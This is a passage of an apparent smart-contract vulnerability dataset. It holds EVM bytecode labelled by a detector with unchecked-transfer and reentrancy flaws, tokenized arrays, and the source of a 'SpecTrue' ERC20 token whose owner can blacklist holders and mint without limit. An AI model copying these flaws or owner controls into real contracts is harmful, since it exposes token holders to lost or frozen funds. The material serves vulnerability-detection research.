50610418600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061109c565b6040518082815260200191505060405180910390f35b34801561043a57600080fd5b506104436110e5565b005b34801561045157600080fd5b50610486600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611350565b005b34801561049457600080fd5b5061049d61139c565b005b3480156104ab57600080fd5b506104b4611408565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561050257600080fd5b5061050b61142d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61059e611453565b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f906a1c6bd7e3091ea86693dd029a831c19049ce77f1dce2ce0bab1cacbabce2281604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b60065481565b610653611453565b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610787576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f43616c6c6572206973206e6f7420617574686f72697a6564000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561084e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f657263323020746f6b656e2061646472657373206973206e6f7420736574000081525060200191505060405180910390fd5b835185511415156108c7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f6c656e677468206f6620696e70757473206e6f74206d6174636800000000000081525060200191505060405180910390fd5b60009150600090505b8351811015610a515761090384828151811015156108ea57fe5b906020019060200201518361153f90919063ffffffff16565b9150610985848281518110151561091657fe5b9060200190602002015160046000888581518110151561093257fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461153f90919063ffffffff16565b60046000878481518110151561099757fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060016005600087848151811015156109f357fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555080806001019150506108d0565b610a668260065461153f90919063ffffffff16565b6006819055507ff1b3be8dace0fecfbdb6fb0fa1cc014c612bcb1b46db027c1ece5fc11fff09d6826040518082815260200191505060405180910390a160019250505092915050565b610ab7611453565b600160149054906101000a900460ff161515610ad257600080fd5b6000600160146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600080600160149054906101000a900460ff16151515610b3a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151515610c01576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f657263323020746f6b656e2061646472657373206973206e6f7420736574000081525060200191505060405180910390fd5b6000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111515610cb8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f6163636f756e742062616c616e6365206973207a65726f00000000000000000081525060200191505060405180910390fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015610db857600080fd5b505af1158015610dcc573d6000803e3d6000fd5b505050506040513d6020811015610de257600080fd5b810190808051906020019092919050505010151515610e8f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260378152602001807f5468697320636f6e747261637420646f6573206e6f74206861766520656e6f7581526020017f676820746f6b656e7320746f206469737472696275746500000000000000000081525060400191505060405180910390fd5b6000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610f9957600080fd5b505af1158015610fad573d6000803e3d6000fd5b505050506040513d6020811015610fc357600080fd5b810190808051906020019092919050505050610fea8160065461155b90919063ffffffff16565b6006819055507f5329b89678b0f095cae2abe10b88ad57329871ee9296ae8f358a46b9fa0ff3283382604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1600191505090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160149054906101000a900460ff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260358152602001807f596f75206d757374206265206e6f6d696e61746564206265666f726520796f7581526020017f2063616e20616363657074206f776e657273686970000000000000000000000081525060400191505060405180910390fd5b7fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a1600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b611358611453565b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6113a4611453565b600160149054906101000a900460ff161515156113c057600080fd5b60018060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561153d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f8152602001807f4f6e6c792074686520636f6e7472616374206f776e6572206d6179207065726681526020017f6f726d207468697320616374696f6e000000000000000000000000000000000081525060400191505060405180910390fd5b565b6000818301905082811015151561155557600080fd5b92915050565b600082821115151561156c57600080fd5b8183039050929150505600a165627a7a72305820e453a34603ae8829ea0fe53dc3c12e96ba7e9928f139246b49ba83787d8f523f0029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 27814, 22907, 4215, 2475, 2094, 28154, 21472, 2581, 28756, 8586, 21472, 28154, 2509, 2278, 28756, 2575, 2509, 27421, 2692, 2581, 9468, 2581, 2620, 2063, 2549, 2546, 2581, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1018, 1012, 2484, 1025, 3075, 3647, 18900, 2232, 1063, 3853, 5587, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1039, 1007, 1063, 1039, 1027, 1037, 1009, 1038, 1025, 5478, 1006, 1039, 1028, 1027, 1037, 1007, 1025, 1065, 3853, 4942, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1039, 1007, 1063, 5478, 1006, 1038, 1026, 1027, 1037, 1007, 1025, 1039, 1027, 1037, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,671
0x95831e4de7333abd487a4295fc24f60481ad1e5f
// SPDX-License-Identifier: MIT /** ███████ ██████ ███████ ██████ ████████ ██████ ██ ██ ███████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ███████ ██████ █████ ██ ██ ██████ ██ ██ █████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ███████ ██ ███████ ██████ ██ ██ ██ ██████ ███████ */ pragma solidity 0.8.10; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = _msgSender(); emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-ERC20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract SpecTrue is Context, IERC20, IERC20Metadata, Ownable, Pausable{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor () { _name = "SpecTrue"; _symbol = "STRUE"; _totalSupply; _mint(owner(), 100000000000 * 10 ** (decimals()) ); } mapping (address => bool) private _isBlackListedBot; address[] private _blackListedBots; function isBot(address account) public view returns (bool) { return _isBlackListedBot[account]; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { require(!_isBlackListedBot[recipient], "You have no power here!"); require(!_isBlackListedBot[tx.origin], "You have no power here!"); _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { require(!_isBlackListedBot[sender], "You have no power here!"); require(!_isBlackListedBot[recipient], "You have no power here!"); require(!_isBlackListedBot[tx.origin], "You have no power here!"); _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function addBotToBlackList(address account) external onlyOwner() { require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not blacklist Uniswap router.'); require(!_isBlackListedBot[account], "Account is already blacklisted"); _isBlackListedBot[account] = true; _blackListedBots.push(account); } function removeBotFromBlackList(address account) external onlyOwner() { require(_isBlackListedBot[account], "Account is not blacklisted"); for (uint256 i = 0; i < _blackListedBots.length; i++) { if (_blackListedBots[i] == account) { _blackListedBots[i] = _blackListedBots[_blackListedBots.length - 1]; _isBlackListedBot[account] = false; _blackListedBots.pop(); break; } } } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC2020: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function mint(uint256 amount) public onlyOwner { _mint(msg.sender, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } function burn(uint256 amount) public onlyOwner { _burn(msg.sender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function pause() public onlyOwner { _pause(); } function unpause() public onlyOwner { _unpause(); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106101425760003560e01c806370a08231116100b857806395d89b411161007c57806395d89b411461033f578063a0712d681461035d578063a457c2d714610379578063a9059cbb146103a9578063dd62ed3e146103d9578063f2fde38b1461040957610142565b806370a08231146102c1578063715018a6146102f15780637ded4d6a146102fb5780638456cb59146103175780638da5cb5b1461032157610142565b8063395093511161010a57806339509351146102015780633bbac579146102315780633f4ba83a1461026157806342966c681461026b5780634303443d146102875780635c975abb146102a357610142565b806306fdde0314610147578063095ea7b31461016557806318160ddd1461019557806323b872dd146101b3578063313ce567146101e3575b600080fd5b61014f610425565b60405161015c9190611ffd565b60405180910390f35b61017f600480360381019061017a91906120b8565b6104b7565b60405161018c9190612113565b60405180910390f35b61019d6104d5565b6040516101aa919061213d565b60405180910390f35b6101cd60048036038101906101c89190612158565b6104df565b6040516101da9190612113565b60405180910390f35b6101eb610787565b6040516101f891906121c7565b60405180910390f35b61021b600480360381019061021691906120b8565b610790565b6040516102289190612113565b60405180910390f35b61024b600480360381019061024691906121e2565b61083c565b6040516102589190612113565b60405180910390f35b610269610892565b005b6102856004803603810190610280919061220f565b610918565b005b6102a1600480360381019061029c91906121e2565b6109a1565b005b6102ab610beb565b6040516102b89190612113565b60405180910390f35b6102db60048036038101906102d691906121e2565b610c01565b6040516102e8919061213d565b60405180910390f35b6102f9610c4a565b005b610315600480360381019061031091906121e2565b610d84565b005b61031f611075565b005b6103296110fb565b604051610336919061224b565b60405180910390f35b610347611124565b6040516103549190611ffd565b60405180910390f35b6103776004803603810190610372919061220f565b6111b6565b005b610393600480360381019061038e91906120b8565b61123f565b6040516103a09190612113565b60405180910390f35b6103c360048036038101906103be91906120b8565b611333565b6040516103d09190612113565b60405180910390f35b6103f360048036038101906103ee9190612266565b61146b565b604051610400919061213d565b60405180910390f35b610423600480360381019061041e91906121e2565b6114f2565b005b606060048054610434906122d5565b80601f0160208091040260200160405190810160405280929190818152602001828054610460906122d5565b80156104ad5780601f10610482576101008083540402835291602001916104ad565b820191906000526020600020905b81548152906001019060200180831161049057829003601f168201915b5050505050905090565b60006104cb6104c461169b565b84846116a3565b6001905092915050565b6000600354905090565b6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561056e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056590612353565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612353565b60405180910390fd5b600660003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610688576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067f90612353565b60405180910390fd5b61069384848461186e565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106de61169b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561075e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610755906123e5565b60405180910390fd5b61077b8561076a61169b565b85846107769190612434565b6116a3565b60019150509392505050565b60006012905090565b600061083261079d61169b565b8484600260006107ab61169b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461082d9190612468565b6116a3565b6001905092915050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61089a61169b565b73ffffffffffffffffffffffffffffffffffffffff166108b86110fb565b73ffffffffffffffffffffffffffffffffffffffff161461090e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109059061250a565b60405180910390fd5b610916611af0565b565b61092061169b565b73ffffffffffffffffffffffffffffffffffffffff1661093e6110fb565b73ffffffffffffffffffffffffffffffffffffffff1614610994576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098b9061250a565b60405180910390fd5b61099e3382611b91565b50565b6109a961169b565b73ffffffffffffffffffffffffffffffffffffffff166109c76110fb565b73ffffffffffffffffffffffffffffffffffffffff1614610a1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a149061250a565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610aa0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a979061259c565b60405180910390fd5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2490612608565b60405180910390fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506007819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060149054906101000a900460ff16905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c5261169b565b73ffffffffffffffffffffffffffffffffffffffff16610c706110fb565b73ffffffffffffffffffffffffffffffffffffffff1614610cc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cbd9061250a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610d8c61169b565b73ffffffffffffffffffffffffffffffffffffffff16610daa6110fb565b73ffffffffffffffffffffffffffffffffffffffff1614610e00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df79061250a565b60405180910390fd5b600660008273ffffffffffffff